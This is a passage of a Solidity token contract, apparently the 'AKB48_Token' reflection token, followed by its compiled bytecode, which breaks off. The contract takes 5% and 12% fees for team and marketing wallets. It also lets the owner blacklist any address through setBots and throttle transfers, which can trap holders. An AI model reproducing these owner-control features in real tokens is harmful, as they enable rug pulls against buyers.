private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600b81526020017f414b4234385f546f6b656e000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f414b423438000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602